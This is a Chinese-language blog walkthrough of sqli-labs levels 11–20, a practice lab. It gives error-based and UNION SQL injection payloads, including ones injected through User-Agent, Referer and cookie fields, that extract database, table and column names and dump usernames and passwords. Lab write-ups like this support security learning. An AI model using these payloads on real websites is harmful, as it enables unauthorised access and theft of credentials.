sql-labs(11-20)

1.less-11

1.判断类型

根据测试在使用 " 不会报错,' 会报错,所以他是字符型的并且被单引号闭合,而且只有用户

登陆成功才会显示数据。所以先尝试报错注入

2.爆数据库

bash 复制代码
' and updatexml(2,concat(0x7e,(select database()),0x7e),2)--+

3.爆数据表

4.爆字段

5.爆数据

2.less-12

1.判断类型

经过测试发现是xx型,通过双引号闭合。 并且没有正常回显。

2.判断字段个数

3.获取当前的数据库

4.获取数据表

bash 复制代码
") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
  1. 获取字段
bash 复制代码
") union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

6.获取数据

bash 复制代码
") union select 1,group_concat(username,password) from users--+

3.less-13

1.判断类型

经过测试发现 是单引号闭合的xx型与less-12 大致相同。

4.less-14

与less-11类似

1.判断类型

2.判断字段个数

剩下步骤与less-13,less-12类似。

5.less-15

1.判断类型

经过测试发现只有登陆成功,失败的界面,尝试盲注,

由于手工比较麻烦可以使用sqlmap尝试。

6.less-16

也是布尔盲注操作同上。

7.less-17

出现数据 的 delete、update、insert直接用报错注入。

1.爆字段

bash 复制代码
' and updatexml(2,concat(0x7e,(select database()),0x7e),0)#

2.爆数据表

bash 复制代码
' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),1),1)--+

3.爆字段

bash 复制代码
1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1),1)--+

4.爆数据

会报错因为同一张表不能同时更新,查看。查看其他表不报错

8.less-18

使用正确的密码登陆发现出现UA信息,发现是UA注入,所以尝试报错注入,而且是单引号闭合

通过查看源码,拼接的sql语句要多加 )才能执行顺利。

爆数据库

sql语句

sql 复制代码
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',2,updatexml(1,concat(0x7e,(select database())),1))#', '192.168.190.1', 'Dhakkan')
bash 复制代码
1',2,updatexml(1,concat(0x7e,(select database())),1))#

按步骤执行下去即可,其余 前面已有介绍,这里就不展示了。

9.less-19

与less-18类似,是refer注入

10.less-20

cookies注入 ,根据源代码, uname参数不可省。

爆数据库

bash 复制代码
uname=admin'and updatexml(1,concat(1,(database()),1),2)--+

报数据表

bash 复制代码
uname=admin'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema="security" ),1),2)--+

爆字段

bash 复制代码
uname=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' )),0)#

爆数据

bash 复制代码
uname=admin' and updatexml(1,concat(0x7e,(select group_concat(password)from users )),0)# 
相关推荐
tokepson2 小时前
Mysql下载部署方法备份(Windows/Linux)
linux·服务器·windows·mysql
nbsaas-boot3 小时前
SQL Server 存储过程开发规范(公司内部模板)
java·服务器·数据库
zgl_200537793 小时前
ZGLanguage 解析SQL数据血缘 之 Python + Echarts 显示SQL结构图
大数据·数据库·数据仓库·hadoop·sql·代码规范·源代码管理
acaad4 小时前
Redis下载与安装(Windows)
数据库·redis·缓存
玄〤4 小时前
黑马点评中 VoucherOrderServiceImpl 实现类中的一人一单实现解析(单机部署)
java·数据库·redis·笔记·后端·mybatis·springboot
SunflowerCoder4 小时前
EF Core + PostgreSQL 配置表设计踩坑记录:从 23505 到 ChangeTracker 冲突
数据库·postgresql·c#·efcore
短剑重铸之日4 小时前
《7天学会Redis》Day2 - 深入Redis数据结构与底层实现
数据结构·数据库·redis·后端
Zoey的笔记本5 小时前
「支持ISO27001的GTD协作平台」数据生命周期管理方案与加密通信协议
java·前端·数据库
什么都不会的Tristan5 小时前
MybatisPlus-扩展功能
数据库·mysql
超级种码5 小时前
Redis:Redis 数据类型
数据库·redis·缓存